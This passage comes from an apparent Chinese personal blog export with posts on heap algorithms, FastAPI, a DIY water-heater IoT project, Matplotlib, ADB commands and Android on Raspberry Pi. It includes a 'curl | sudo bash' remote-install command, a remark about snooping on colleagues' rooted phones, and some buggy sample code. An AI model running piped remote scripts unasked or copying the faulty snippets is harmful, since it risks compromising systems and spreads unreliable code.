<p>def minHeapify(heap, index):<br>    left = index * 2 + 1<br>    right = (index * 2) + 2<br>    smallest = index<br>    # check if left child exists and is less than smallest<br>    if len(heap) &gt; left and heap[smallest] &gt; heap[left]:<br>        smallest = left<br>    # check if right child exists and is less than smallest<br>    if len(heap) &gt; right and heap[smallest] &gt; heap[right]:<br>        smallest = right<br>    # check if current index is not the smallest<br>    if smallest != index:<br>        # swap current index value with smallest<br>        tmp = heap[smallest]<br>        heap[smallest] = heap[index]<br>        heap[index] = tmp<br>        # minHeapify the new node<br>        minHeapify(heap, smallest)<br>    return heap</p>
<p>def convertMax(maxHeap):<br>    # iterate from middle to first element<br>    # middle to first indices contain all parent nodes<br>    for i in range((len(maxHeap))//2, -1, -1):<br>        # call minHeapify on all parent nodes<br>        maxHeap = minHeapify(maxHeap, i)<br>    return maxHeap</p>
<p>maxHeap = [9, 4, 7, 1, -2, 6, 5]<br>print(convertMax(maxHeap))<br>Output: [-2, 1, 5, 9, 4, 6, 7]</p>
<p>```<br>说明<br>请记住，我们可以将给定的<code>maxHeap</code>视为元素的常规列表，并对其进行重新排序，以使其准确表示最小堆。<br>我们在此解决方案中正是这样做的。<br><code>convertMax（）</code>函数通过在每个父节点上调用<code>minHeapify（）</code>函数来从最低父节点还原所有节点上的堆属性。<br>时间复杂度<br><code>minHeapify（）</code>函数被调用堆中一半的节点。<br><code>minHeapify（）</code>函数花费<code>O（log（n））</code>时间，并被调用</p>
<h3 id="50-检测链表中的循环"><a href="#50-检测链表中的循环" class="headerlink" title="50. 检测链表中的循环"></a>50. <a name="50">检测链表中的循环</a></h3><p>说明<br>遍历整个链表，并将每个访问的节点添加到visit_nodes集合中。<br>在每个节点上，我们检查它是否已被访问。<br>原则上，如果重新访问节点，则存在一个循环！  </p>
<h5 id="时间复杂度"><a href="#时间复杂度" class="headerlink" title="时间复杂度"></a>时间复杂度</h5><p>我们对列表进行一次迭代。<br>平均而言，集合中的查找需要O（1）时间。<br>因此，该算法的平均运行时间为O（n）。<br>但是，在最坏的情况下，查找可能会增加到O（n），这将导致算法在</p>
]]></content>
      <categories>
        <category>docs</category>
        <category>python</category>
        <category>index</category>
      </categories>
      <tags>
        <tag>Python</tag>
      </tags>
  </entry>
  <entry>
    <title>FastApi</title>
    <url>/2020/01/20/FastApi/</url>
    <content><![CDATA[<p><img src="http://imgs.yrzdm.com/imgs/20200120/ULXjnIOWfCPh.jpg?imageslim" alt="mark"><br>FastAPI framework, high performance, easy to learn, fast to code, ready for production</p>
<a id="more"></a>

<p>Documentation: <a class="link"   href="https://fastapi.tiangolo.com"  target="_blank" rel="noopener">https://fastapi.tiangolo.com<i class="fas fa-external-link-alt"></i></a></p>
<p>如果应对一个非常简单的需求，比如编写一个接口，总不能直接Django，但也不能写的很糙。如果用Flask，虽然可以用很短的代码写出一个能用的项目，但是需要很多地方需要处理。</p>
<p>如果使用FastApi就会简单很多：</p>
<figure class="highlight properties"><table><tr><td class="code"><pre><code class="hljs properties"><span class="hljs-attr">from</span> <span class="hljs-string">fastapi import FastAPI</span><br><span class="hljs-attr">from</span> <span class="hljs-string">pydantic import BaseModel</span><br><span class="hljs-attr">app</span> = <span class="hljs-string">FastAPI()</span><br><span class="hljs-attr">class</span> <span class="hljs-string">People(BaseModel):</span><br>    <span class="hljs-attr">name</span>:<span class="hljs-string">str</span><br>    <span class="hljs-attr">age</span>:<span class="hljs-string">int</span><br>    <span class="hljs-attr">address</span>:<span class="hljs-string">str</span><br>    <span class="hljs-attr">salary</span>:<span class="hljs-string">float</span><br><br><span class="hljs-attr">@app.post('/insert')</span><br><span class="hljs-attr">def</span> <span class="hljs-string">insert(people:People):</span><br>    <span class="hljs-attr">age_after_10_years</span> = <span class="hljs-string">people.age + 10</span><br>    <span class="hljs-attr">msg</span> = <span class="hljs-string">"人名：&#123;people.name&#125;,十年后的年龄为：&#123;age_after_10_years&#125;'</span><br>    <span class="hljs-attr">return</span> <span class="hljs-string">&#123;'success:'True,'msg':msg&#125;</span><br></code></pre></td></tr></table></figure>
<p>启动服务后，如果传入错误的值，返回值将会非常友好的告诉你哪里出错了。对类型的检查全部由FastAPI自己完成，非常pythonic。<br>使用fastAPI 需要使用uvicorn来运行FastAPI</p>
<figure class="highlight sql"><table><tr><td class="code"><pre><code class="hljs sql">pip <span class="hljs-keyword">install</span> uvicorn<br>uvicorn <span class="hljs-keyword">main</span>:app <span class="hljs-comment">--reload</span><br></code></pre></td></tr></table></figure>
<p>main: 代码文件名 main.py</br><br>app: 初始化FastAPI的对象名</br><br>–reload 代码修改后立即生效，不需要重启</p>
<h3 id="GET-方法定义"><a href="#GET-方法定义" class="headerlink" title="GET 方法定义"></a>GET 方法定义</h3><figure class="highlight ruby"><table><tr><td class="code"><pre><code class="hljs ruby">@app.get(<span class="hljs-string">'/quert/&#123;uid&#125;'</span>)<br><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">query</span><span class="hljs-params">(uid)</span></span>:<br>    msg = <span class="hljs-string">'您查询的uid为：&#123;uid&#125;'</span><br>    <span class="hljs-keyword">return</span> &#123;<span class="hljs-string">'success'</span><span class="hljs-symbol">:True</span>,<span class="hljs-string">'msg'</span><span class="hljs-symbol">:msg</span>&#125;<br></code></pre></td></tr></table></figure>
<p>直接请求该地址：<br><a class="link"   href="http://127.0.0.1:8000/query/789"  target="_blank" rel="noopener">http://127.0.0.1:8000/query/789<i class="fas fa-external-link-alt"></i></a><br>如果限定uid的类型，只需要在函数定义时候指定类型</p>
<figure class="highlight ruby"><table><tr><td class="code"><pre><code class="hljs ruby"><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">quert</span><span class="hljs-params">(<span class="hljs-symbol">uid:</span>int)</span></span><span class="hljs-symbol">:</span><br></code></pre></td></tr></table></figure>
<p>除了这些之外，FastAPI还能帮我们快速的生成接口文档。<br><a class="link"   href="http://127.0.0.1:8000/docs"  target="_blank" rel="noopener">http://127.0.0.1:8000/docs<i class="fas fa-external-link-alt"></i></a><br><img src="https://fastapi.tiangolo.com/img/index/index-03-swagger-02.png" alt=""></p>
]]></content>
      <categories>
        <category>docs</category>
        <category>python</category>
        <category>index</category>
      </categories>
      <tags>
        <tag>Python</tag>
      </tags>
  </entry>
  <entry>
    <title>热水器改造项目</title>
    <url>/2020/01/14/Friendly-Arm/</url>
    <content><![CDATA[<p>生活上有一个不便之处是关于热水器的使用，说到这里，务必劝解各位，🤐买房一定不要买☠️万科☠️。</p>
<a id="more"></a>

<p>因为热水器🚿是配套赠送的，暂时没有更换的需求，热水器是力诺瑞特电热和太阳能混合的，保证了天气不好的时候可以使用电加热，但是电加热非常不方便，尤其在这个被物联网时代惯坏了时代。在外没法看到热水器的温度显示。<br>想着实现如下功能：</p>
<ul>
<li><input disabled="" type="checkbox"> 远程观看热水器水温</li>
<li><input disabled="" type="checkbox"> 远程（手机）可点击热水器的加热按钮</li>
<li><input disabled="" type="checkbox"> 在家时候使用天猫精灵进行开启和关闭加热</li>
</ul>
<ol>
<li><p><strong>硬件准备</strong></p>
<p>手里有树莓派、esp32、esp8266和好多开发板，综合考虑使用一块友善之臂的开发板，但是友善之臂开发板的固件非常的不友善，看了一下采用了H3的soc，对比了一下国内有好几家有类似的方案，orangePi,BananaPi,发现香蕉派的M2和友善之臂M1 Plus有着惊人的相似之处，连引脚定义都是相同的，但是香蕉派的固件明显的要友善一些，单从固件大小上就能看出，友善之臂没有打包很多的驱动在内。</p>
<blockquote>
<p>尝试将BananaPi的固件刷入友善之臂，竟然完美兼容。😂</p>
</blockquote>
<p>要实现温度的读取，如果从热水器内部下手，担心丢失保修，只能从外部下手，使用大的摄像头担心浪费，买了一个esp32-cam模块来拍摄温度显示，然后写个图像的ocr识别来曲线救国。</p>
</li>
</ol>
<ul>
<li>加热按钮考虑使用舵机来实现模拟人工的按键</li>
</ul>
<ol start="2">
<li><p>数据中心使用Domoticz</p>
<p>树莓派安装Domoticz非常方便</p>
<figure class="highlight vim"><table><tr><td class="code"><pre><code class="hljs vim">sudo curl -L install.domoticz.<span class="hljs-keyword">cn</span> | sudo bash<br>sudo apt-<span class="hljs-built_in">get</span> <span class="hljs-keyword">update</span><br></code></pre></td></tr></table></figure>
<p>运行以上命令后就会进入domoticz的配置界面。</p>
</li>
<li><p>流程图</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><code class="hljs sequence">participant 客户端 as A<br>participant esp32CAM as B<br>participant 数据中心 as C<br>Note over A:用户账号、密码<br>A-&gt;C: 访问数据中心<br>Note over C:验证账号、密码<br>C--&gt;&gt;A:热水器温度状态<br>A-&gt;C:发送指令<br>C--&gt;&gt;B:发送指令<br>B-&gt;B:自交互<br></code></pre></td></tr></table></figure>
<p>未完待续…</p>
</li>
</ol>
<p>尤其是济南华艺黄运林这个老板经营的地产项目，绝对是坑，项目要配套没有配套在济南开发的这些项目都是合作开发，狗血的是作为万科济南负责人竟然自己注册了个华艺地产，万科和华艺合作。</p>
]]></content>
      <categories>
        <category>docs</category>
        <category>python</category>
        <category>index</category>
      </categories>
      <tags>
        <tag>Python</tag>
      </tags>
  </entry>
  <entry>
    <title>Matplotlib常见问题</title>
    <url>/2020/01/10/Matplotlib/</url>
    <content><![CDATA[<p><a href="https://imgchr.com/i/lfzqat" target="_blank" rel="noopener"><img src="https://s2.ax1x.com/2020/01/10/lfzqat.md.jpg" alt="lfzqat.md.jpg"></a><br>最近接了不少学生作业大多数都是预测和数据分析以及分类器相关，所用图表展示用到Matplotlib，经常会涉及到一些问题，对出现的问题进行整理，避免重复踩坑。</p>
<a id="more"></a>

<ol>
<li><strong>中文显示乱码问题</strong><br>图表展示，图例等标识都需要用到中文，如果MATPLOTLIB缺少中文字体的调用，图表显示的时候会出现乱码。</li>
</ol>
<figure class="highlight xl"><table><tr><td class="code"><pre><code class="hljs xl"><span class="hljs-keyword">import</span> numpy <span class="hljs-keyword">as</span> np<br><span class="hljs-keyword">import</span> matplotlib<br><span class="hljs-keyword">import</span> matplotlib.pyplot <span class="hljs-keyword">as</span> plt<br>from matplotlib.figure <span class="hljs-keyword">import</span> Figure<br><br># 正常显示画图时出现的中文和负号<br>from pylab <span class="hljs-keyword">import</span> mpl<br>mpl.rcParams[<span class="hljs-string">'font.sans-serif'</span>]=[<span class="hljs-string">'SimHei'</span>]<br>mpl.rcParams[<span class="hljs-string">'axes.unicode_minus'</span>]=False<br></code></pre></td></tr></table></figure>
<ol start="2">
<li><strong>tight_layout()</strong><br>Matplotlib v1.1 引入一个新的命令tight_layout(),用来调整子图参数，使之填充图像区域，解决Axes轴标签、标题、刻度超出图形区域的问题。</li>
</ol>
<figure class="highlight routeros"><table><tr><td class="code"><pre><code class="hljs routeros">def show(self):<br>    self.figure.tight_layout()<br>    FigureCanvasAgg.draw(self)<br>    <span class="hljs-keyword">if</span><span class="hljs-built_in"> PORT </span>is None:<br>        return<br><br>    <span class="hljs-keyword">if</span> matplotlib.__version__ &lt; <span class="hljs-string">'1.2'</span>:<br>        buffer = self.tostring_rgb(0, 0)<br>    <span class="hljs-keyword">else</span>:<br>        buffer = self.tostring_rgb()<br><br>    <span class="hljs-keyword">if</span> len(<span class="hljs-builtin-name">set</span>(buffer)) &lt;= 1:<br>        # <span class="hljs-keyword">do</span> <span class="hljs-keyword">not</span> plot empty<br>        return<br><br>    render = self.get_renderer()<br>    width = int(render.width)<br><br>    plot_index = index <span class="hljs-keyword">if</span> os.getenv(<span class="hljs-string">"PYCHARM_MATPLOTLIB_INTERACTIVE"</span>, <span class="hljs-literal">False</span>) <span class="hljs-keyword">else</span> -1<br>    try:<br>        sock = socket.socket()<br>        sock.connect((HOST, PORT))<br>        sock.send(struct.pack(<span class="hljs-string">'&gt;i'</span>, width))<br>        sock.send(struct.pack(<span class="hljs-string">'&gt;i'</span>, plot_index))<br>        sock.send(struct.pack(<span class="hljs-string">'&gt;i'</span>, len(buffer)))<br>        sock.send(buffer)<br>    except OSError as _:<br>        # <span class="hljs-literal">nothing</span> bad. It just means, that our<span class="hljs-built_in"> tool </span>window doesn<span class="hljs-string">'t run yet<br>        pass</span><br></code></pre></td></tr></table></figure>
<p>当axes列表为空的时候,tight_layout()将会报错，此时需要将plt.show()替换为plt.savefig(‘file.png’,bbox_inches=’tight’)</p>
]]></content>
      <categories>
        <category>docs</category>
        <category>python</category>
        <category>index</category>
      </categories>
      <tags>
        <tag>Python</tag>
        <tag>MatPlotlib</tag>
      </tags>
  </entry>
  <entry>
    <title>及时行乐</title>
    <url>/2018/08/03/about/</url>
    <content><![CDATA[<p>及时行乐（Enjoy Pleasure in Good Time.）<br><img src="https://i.loli.net/2018/08/03/5b63cc6e20cd8.png" alt="epgt"></p>
<blockquote>
<p>人生苦短,何不及时行乐</br><br>释义：抓紧时机，不失时机，寻欢作乐。</br></p>
</blockquote>
<a id="more"></a>
<p>出处:《新刊大宋宣和遗事》：“人生如白驹过隙，倘不及时行乐，则老大徒伤悲也。”</br><br>例句：短歌行（曹操）对酒当歌，人生几何？ 譬如朝露，去日苦多。 慨当以慷，忧思难忘。 何以解忧？唯有杜康。</p>
<p>So, there you have it… enjoy!</p>
]]></content>
      <categories>
        <category>docs</category>
        <category>index</category>
      </categories>
      <tags>
        <tag>collect</tag>
      </tags>
  </entry>
  <entry>
    <title>android-command</title>
    <url>/2017/03/01/android-command/</url>
    <content><![CDATA[<p><img src="http://imgs.yrzdm.com/imgs/20200229/bizqoIV7W31a.png?imageslim" alt="mark"><br>每个拥有android手机的人必须要会几条ADB Commands. 掌握一下命令行通过中间人的方式，你的同事的手机如果root过或者在公共场合，可以随意查看他们手机中的资料。所以对于android手机root就等于开放。</p>
<a id="more"></a>

<p>ADB = Android Debug Bridge</p>
<p>ADB命令有很多，整理一下几条比较常用的如下：</p>
<p>1.查看版本</p>
<figure class="highlight routeros"><table><tr><td class="code"><pre><code class="hljs routeros"><span class="hljs-variable">$abd</span> version<br>Andorid <span class="hljs-builtin-name">Debug</span><span class="hljs-built_in"> Bridge </span>version 1.0.36<br>Revision 8F855A3D9B35-android<br></code></pre></td></tr></table></figure>

<p>2.查看连接设备</p>
<figure class="highlight gams"><table><tr><td class="code"><pre><code class="hljs gams"><span class="hljs-meta"><span class="hljs-meta-keyword">$adb</span> devices</span><br>of devices attached<br><span class="hljs-number">02</span>ae0c1021089daf device<br></code></pre></td></tr></table></figure>

<p>```</p>
<p>3.安装</p>
<figure class="highlight cmake"><table><tr><td class="code"><pre><code class="hljs cmake">adb <span class="hljs-keyword">install</span><br></code></pre></td></tr></table></figure>

<p>保留数据和缓存文件，重新安装apk：</p>
<p><code>adb install -r</code><br>安装apk到sd卡：</p>
<figure class="highlight cmake"><table><tr><td class="code"><pre><code class="hljs cmake">adb <span class="hljs-keyword">install</span> -s<br></code></pre></td></tr></table></figure>

<p>4.卸载</p>
<figure class="highlight css"><table><tr><td class="code"><pre><code class="hljs css"><span class="hljs-selector-tag">adb</span> <span class="hljs-selector-tag">uninstall</span> <br>\\<span class="hljs-selector-tag">eg</span>：<span class="hljs-selector-tag">adb</span> <span class="hljs-selector-tag">uninstall</span> <span class="hljs-selector-tag">com</span><span class="hljs-selector-class">.stormzhang</span><span class="hljs-selector-class">.demo</span><br></code></pre></td></tr></table></figure>

<p>卸载app但保留数据和缓存文件</p>
<figure class="highlight ebnf"><table><tr><td class="code"><pre><code class="hljs ebnf"><span class="hljs-attribute">adb uninstall -k</span><br></code></pre></td></tr></table></figure>

<p>5.启动/停止Server</p>
<p>启动Server</p>
<figure class="highlight pgsql"><table><tr><td class="code"><pre><code class="hljs pgsql">adb <span class="hljs-keyword">start</span>-<span class="hljs-keyword">server</span><br></code></pre></td></tr></table></figure>

<p>停止Server</p>
<figure class="highlight sql"><table><tr><td class="code"><pre><code class="hljs sql">adb <span class="hljs-keyword">kill</span>-<span class="hljs-keyword">server</span><br></code></pre></td></tr></table></figure>

<p>6.包管理</p>
<p>列出手机装的所有app的包名</p>
<figure class="highlight dockerfile"><table><tr><td class="code"><pre><code class="hljs dockerfile">adb <span class="hljs-keyword">shell</span><span class="bash"> pm list packages</span><br></code></pre></td></tr></table></figure>

<p>列出系统应用的所有包名</p>
<figure class="highlight dockerfile"><table><tr><td class="code"><pre><code class="hljs dockerfile">adb <span class="hljs-keyword">shell</span><span class="bash"> pm list packages -s</span><br></code></pre></td></tr></table></figure>

<p>列出第三方应用：</p>
<figure class="highlight dockerfile"><table><tr><td class="code"><pre><code class="hljs dockerfile">adb <span class="hljs-keyword">shell</span><span class="bash"> pm list packages -3</span><br></code></pre></td></tr></table></figure>

<p>使用grep来过滤</p>
<figure class="highlight vim"><table><tr><td class="code"><pre><code class="hljs vim">adb <span class="hljs-keyword">shell</span> pm <span class="hljs-keyword">list</span> packages | <span class="hljs-keyword">grep</span> qq<br></code></pre></td></tr></table></figure>

<p>7.清除应用数据及缓存</p>
<figure class="highlight dockerfile"><table><tr><td class="code"><pre><code class="hljs dockerfile">adb <span class="hljs-keyword">shell</span><span class="bash"> pm clear</span><br></code></pre></td></tr></table></figure>

<p>8.启动应用</p>
<figure class="highlight dockerfile"><table><tr><td class="code"><pre><code class="hljs dockerfile">adb <span class="hljs-keyword">shell</span><span class="bash"> am start -n /.ui.SplashActivity</span><br></code></pre></td></tr></table></figure>

<p>9.强制停止应用</p>
<figure class="highlight vim"><table><tr><td class="code"><pre><code class="hljs vim">adb <span class="hljs-keyword">shell</span> <span class="hljs-keyword">am</span> force-<span class="hljs-keyword">stop</span><br></code></pre></td></tr></table></figure>

<p>10.查看日志</p>
<figure class="highlight ebnf"><table><tr><td class="code"><pre><code class="hljs ebnf"><span class="hljs-attribute">adb logcat</span><br></code></pre></td></tr></table></figure>

<p>11.重启</p>
<figure class="highlight ebnf"><table><tr><td class="code"><pre><code class="hljs ebnf"><span class="hljs-attribute">adb reboot</span><br></code></pre></td></tr></table></figure>

<p>12.获取序列号</p>
<figure class="highlight gams"><table><tr><td class="code"><pre><code class="hljs gams"><span class="hljs-meta"><span class="hljs-meta-keyword">$adb</span> get-serialno</span><br></code></pre></td></tr></table></figure>

<p>13.获取MAC地址</p>
<figure class="highlight stata"><table><tr><td class="code"><pre><code class="hljs stata"><span class="hljs-variable">$adb</span> <span class="hljs-keyword">shell</span> <span class="hljs-keyword">cat</span> /sys/<span class="hljs-keyword">class</span>/<span class="hljs-keyword">net</span>/wlan0/address<br></code></pre></td></tr></table></figure>

<p>14.查看设备型号</p>
<figure class="highlight css"><table><tr><td class="code"><pre><code class="hljs css"><span class="hljs-selector-tag">adb</span> <span class="hljs-selector-tag">shell</span> <span class="hljs-selector-tag">getprop</span> <span class="hljs-selector-tag">ro</span><span class="hljs-selector-class">.product</span><span class="hljs-selector-class">.model</span><br></code></pre></td></tr></table></figure>

<p>15.查看Android系统版本</p>
<figure class="highlight stata"><table><tr><td class="code"><pre><code class="hljs stata"><span class="hljs-variable">$adb</span> <span class="hljs-keyword">shell</span> getprop ro.build.<span class="hljs-keyword">version</span>.release<br></code></pre></td></tr></table></figure>

<p>16.查看屏幕分辨率</p>
<figure class="highlight dockerfile"><table><tr><td class="code"><pre><code class="hljs dockerfile">$adb <span class="hljs-keyword">shell</span><span class="bash"> wm size</span><br></code></pre></td></tr></table></figure>

<p>17.检查设备是否已经ROOT</p>
<figure class="highlight dockerfile"><table><tr><td class="code"><pre><code class="hljs dockerfile">adb <span class="hljs-keyword">shell</span><span class="bash"><br>su</span><br></code></pre></td></tr></table></figure>

<p>18.开启关闭wifi（需ROOT权限）</p>
<figure class="highlight dockerfile"><table><tr><td class="code"><pre><code class="hljs dockerfile">adb root<br>adb <span class="hljs-keyword">shell</span><span class="bash"> svc wifi <span class="hljs-built_in">enable</span>/<span class="hljs-built_in">disable</span></span><br></code></pre></td></tr></table></figure>

<p>19.音量控制</p>
<figure class="highlight angelscript"><table><tr><td class="code"><pre><code class="hljs angelscript">adb shell input keyevent <span class="hljs-number">24</span>/<span class="hljs-number">25</span>、<span class="hljs-number">164</span><br></code></pre></td></tr></table></figure>

<p>24增加音量，25降低音量 164 静音</p>
<p>20.文件管理</p>
<p>复制电脑里的文件到设备</p>
<figure class="highlight xml"><table><tr><td class="code"><pre><code class="hljs xml">adb push <span class="hljs-tag">&lt;<span class="hljs-name">电脑文件路径</span>&gt;</span> <span class="hljs-tag">&lt;<span class="hljs-name">设备里的目录</span>&gt;</span><br></code></pre></td></tr></table></figure>

<p>复制设备文件到电脑</p>
<figure class="highlight jboss-cli"><table><tr><td class="code"><pre><code class="hljs jboss-cli">adb pull <span class="hljs-string">/sdcard/sr.mp4</span> ~<span class="hljs-string">/tmp</span><br></code></pre></td></tr></table></figure>]]></content>
      <categories>
        <category>docs</category>
        <category>Android</category>
        <category>index</category>
      </categories>
      <tags>
        <tag>Android</tag>
        <tag>Shell</tag>
      </tags>
  </entry>
  <entry>
    <title>LineageOS 16.0 (Android 9) for Raspberry Pi 3</title>
    <url>/2020/04/17/android-for-raspberry/</url>
    <content><![CDATA[<p><img src="http://imgs.yrzdm.com/imgs/20200421/vFL0yUXfrnzq.png?imageslim" alt="mark"><br>最近有个需求是需要一个安卓设备，最好是android7 以上系统，总不能豪横的买一个，手里有个Raspberry3B+🚫🍓</br><br>百度了一下，有几个分享的都是使用Android Things来移植的，Google了一下发现了一个LineageOS 和 emteria.OS可以再3上面运行，那我的3B+肯定也能跑。</p>
<a id="more"></a>

<p><strong>About Emteria.OS</strong></p>
<blockquote>
<p>Emteria.OS is a full build of Android available for Raspberry Pi. While you can get it for free and use it as an individual, it’s aimed more towards industry. Embedded Android devices are big business, and marrying the mobile OS with the Pi opens up a whole new world of Android in both maker projects and consumer products.</p>
</blockquote>
<p>Emteria.OS 是一个面向工业化使用的android系统，也有面向个人的版本，都是需要收费。<br>相关介绍和安装文档： </p>
<p>📃<a class="link"   href="https://magpi.raspberrypi.org/articles/android-raspberry-pi"  target="_blank" rel="noopener">Emteria.OS<i class="fas fa-external-link-alt"></i></a></p>
<p>官网:🌐 <a class="link"   href="https://emteria.com/"  target="_blank" rel="noopener">Emteria.OS<i class="fas fa-external-link-alt"></i></a></p>
<p><strong>About LineageOS</strong></p>
<blockquote>
<p>LineageOS 16.0 for Raspberry Pi 3 Model B and Model B+. It is unofficial and unsupported by the LineageOS team. It’s for advanced users only.</p>
</blockquote>
<p>LineageOS 是基于LineageOS 16.0官方版本有个人修改来的，官方并不提供支持。</p>
<p>安装说明文档: 📃 <a class="link"   href="https://konstakang.com/devices/rpi3/LineageOS16.0/"  target="_blank" rel="noopener">LineageOS<i class="fas fa-external-link-alt"></i></a></p>
<p><img src="http://imgs.yrzdm.com/imgs/20200421/hEUz4NxkYe7t.png?imageslim" alt="Raspberry3B+"></p>
<h3 id="可以正常使用的功能和驱动部分"><a href="#可以正常使用的功能和驱动部分" class="headerlink" title="可以正常使用的功能和驱动部分"></a>可以正常使用的功能和驱动部分</h3><ul>
<li>Audio (HDMI, 3.5mm jack, USB microphones, bluetooth speakers/headsets, etc)</li>
<li>Bluetooth</li>
<li>Camera (using official Pi camera modules &amp; UVC USB webcams)</li>
<li>GPIO</li>
<li>GPS (using external USB modules e.g. U-Blox 7)</li>
<li>Ethernet</li>
<li>Hardware accelerated graphics (VC4)</li>
<li>HDMI display</li>
<li>I2C</li>
<li>IR remotes (using external GPIO IR modules e.g. TSOP4838)</li>
<li>RTC (using external GPIO I2C modules e.g. DS3231)</li>
<li>Serial console (using external GPIO serial console adapters e.g. PL2303)</li>
<li>SPI</li>
<li>Touchscreen/multi-touch (using official 7” display with SwiftShafer software renderer)</li>
<li>USB (mouse, keyboard, storage, etc)</li>
<li>Wifi</li>
<li>Wifi tethering<h3 id="不可以正常使用的功能"><a href="#不可以正常使用的功能" class="headerlink" title="不可以正常使用的功能"></a>不可以正常使用的功能</h3></li>
<li>Hardware video decoding &amp; encoding</li>
</ul>
<h2 id="烧录ROM过程"><a href="#烧录ROM过程" class="headerlink" title="烧录ROM过程"></a>烧录ROM过程</h2><p>使用balenaEtcher 将固件烧录到TF卡中。<br>  🔥<a class="link"   href="https://www.balena.io/etcher/"  target="_blank" rel="noopener">balenaEtcher<i class="fas fa-external-link-alt"></i></a></p>
<h2 id="如何安装apk"><a href="#如何安装apk" class="headerlink" title="如何安装apk"></a>如何安装apk</h2><p>如果需要安装apk，需要安装 <a class="link"   href="https://opengapps.org/?arch=arm&api=9.0&variant=pico"  target="_blank" rel="noopener">opengapps<i class="fas fa-external-link-alt"></i></a></p>
]]></content>
      <categories>
        <category>docs</category>
        <category>Raspberry</category>
        <category>Android</category>
        <category>index</category>
      </categories>
      <tags>
        <tag>Raspberry</tag>
      </tags>
  </entry>
  <entry>
    <title>awake</title>
    <url>/2021/05/25/awake/</url>
    <content><![CDATA[<blockquote>
<p>he needs to wake up to reality.</p>
</blockquote>
<p>上个周六的晚上，孩子跟我们一起睡，一直枕着我的肚子或者腿，晚上一直在做梦，要么是哈哈大笑，要么是再说看的动画片或者白天玩的游戏。</p>
<p>但是今晚突然哭了起来，说爸爸没有钱，奶奶也没有钱，他们都没有钱给我买好好了，然后边说边嚎啕大哭。</p>
<p>我想了一下，确实，我想了整整一宿，我想我要记录下我当时的感受，每当懒散不振的时候，自己来看看。</p>
]]></content>
      <categories>
        <category>docs</category>
        <category>python</category>
        <category>index</category>
      </categories>
      <tags>
        <tag>Life</tag>
      </tags>
  </entry>
  <entry>
    <title>bigbang</title>
    <url>/2016/10/26/bigbang/</url>
    <content><![CDATA[<p><img src="http://imgs.yrzdm.com/imgs/20200229/e1LUuD5jbrUO.png?imageslim" alt="mark"></p>
<h4 id="关于Big-Bang"><a href="#关于Big-Bang" class="headerlink" title="关于Big Bang!"></a>关于Big Bang!</h4><p>前几天看老罗的新品发布会 M1 M1L(据说谐音是满意和满意了)<br>发现新的Smartisan OS 3.0系统里面的Big Bang功能有点像前几天研究的分词。</p>
<a id="more"></a>



<p>今天晚上在T1上也受到了OTA的升级推送，体验了一下新版的3.0系统，发现Big Bang 功能的触摸体验不是很好，额 有点偏离主题了。</p>
<p>今天我们来做一下用python实现Big Bang的功能。<br>这里需要用到一个开源的Module，jieba（结巴），可以使用pip进行安装<br><code>pip install jieba</code></p>
<p>使用方法：</p>
<figure class="highlight plain"><figcaption><span>-*- coding:utf-8 -*-</span></figcaption><table><tr><td class="code"><pre><code class="hljs #!">import jieba<br>seg_list &#x3D; jieba.cut(“我来到山东大学”, cut_all &#x3D; True)<br>print “Full Mode:”, ‘ ‘.join(seg_list)<br></code></pre></td></tr></table></figure>

<p>#Full Mode: 我 来到 山东 山东大学 东大 大学</p>
<p>#感觉这个分词模式可以用到搜索引擎的优化，得到用户可能搜索的意图<br>seg_list = jieba.cut(“周末可以去帮吱吱搬家”)<br>print “Default Mode:”, ‘ ‘.join(seg_list)</p>
<p>#Default Mode: 周末 可以 去 帮 吱吱 搬家<br>↑这个结果完全和Big Bang的爆炸效果完全一样</p>
]]></content>
      <categories>
        <category>docs</category>
        <category>python</category>
        <category>index</category>
      </categories>
      <tags>
        <tag>Python</tag>
        <tag>Jieba</tag>
      </tags>
  </entry>
  <entry>
    <title>beautifulsoup-useage</title>
    <url>/2016/09/08/beautifulsoup-useage/</url>
    <content><![CDATA[<p><img src="http://imgs.yrzdm.com/imgs/20200229/2P84vXFo0Fzh.png?imageslim" alt="mark"></p>
<p>之前混合使用bs4、re、lxml 这三个Modules进行解析html的方式虽然可以解决问题但是明显的影响了响应速度，突然发现BS4可以使用CSS Selector方式类似与Xpath的解析。</p>
<a id="more"></a>

<p><img src="http://imgs.yrzdm.com/imgs/20200229/kNugfSMSXFNJ.png?imageslim" alt="mark"></p>
<p>通过Chrome或者FF 得到tag的CSS Selector 路径使用select可以直接进行使用，明显的代码少了很多行，而且执行速度大大提升。</p>
]]></content>
      <categories>
        <category>docs</category>
        <category>python</category>
        <category>index</category>
      </categories>
      <tags>
        <tag>Python</tag>
        <tag>BeautifulSoup</tag>
      </tags>
  </entry>
  <entry>
    <title>常见Ai公开数据集收集</title>
    <url>/2021/06/24/ai-dataset-collection/</url>
    <content><![CDATA[<p>开始机器学习入门，经常需要找一些数据集进行训练练习，整理一下。</p>
<p><strong>KITTI数据集</strong></p>
<p><code>Kitti</code>数据集是由<a class="link"   href="http://www.kit.edu"  target="_blank" rel="noopener">德国卡尔斯鲁厄理工学院<i class="fas fa-external-link-alt"></i></a>和丰田技术研究院联合创办，是自动驾驶场景下的计算机视觉算法评测数据集。该数据集用于评测立体图像(stereo)，光流(optical flow)，视觉测距(visual odometry),3D物体检测(object detection)和3D跟踪(tracking)等计算机视觉技术在车载环境下的性能。</p>
<p>KITTI包含市区、乡村和高速公路等场景采集的真实图像数据，每张图像中最多达15辆车和30个行人，还有各种程度的遮挡与截断。整个数据集由389对立体图像和光流图，39.2 km视觉测距序列以及超过200k 3D标注物体的图像组成 ，以10Hz的频率采样及同步。总体上看，原始数据集被分类为‘Road’, ‘City’, ‘Residential’, ‘Campus’ 和‘Person’。对于3D物体检测，label细分为car, van, truck, pedestrian, pedestrian(sitting), cyclist, tram以及misc组成。<br>数据集大小：312MB～440GB不等</p>
]]></content>
      <categories>
        <category>docs</category>
        <category>python</category>
        <category>index</category>
      </categories>
      <tags>
        <tag>Python</tag>
      </tags>
  </entry>
  <entry>
    <title>2019书单计划</title>
    <url>/2019/04/24/booklist/</url>
    <content><![CDATA[<p><img src="https://i.loli.net/2019/04/24/5cc0164d939fc.jpg" alt="Book-list-2019"></br></p>
<p>转眼间2019已经过去快一半的时间了，想到年初立的flag 虽然在做却没有及时的总结和复盘。<br>今天把今年需要读的书单发出来，以提醒自己。</p>
<a id="more"></a>

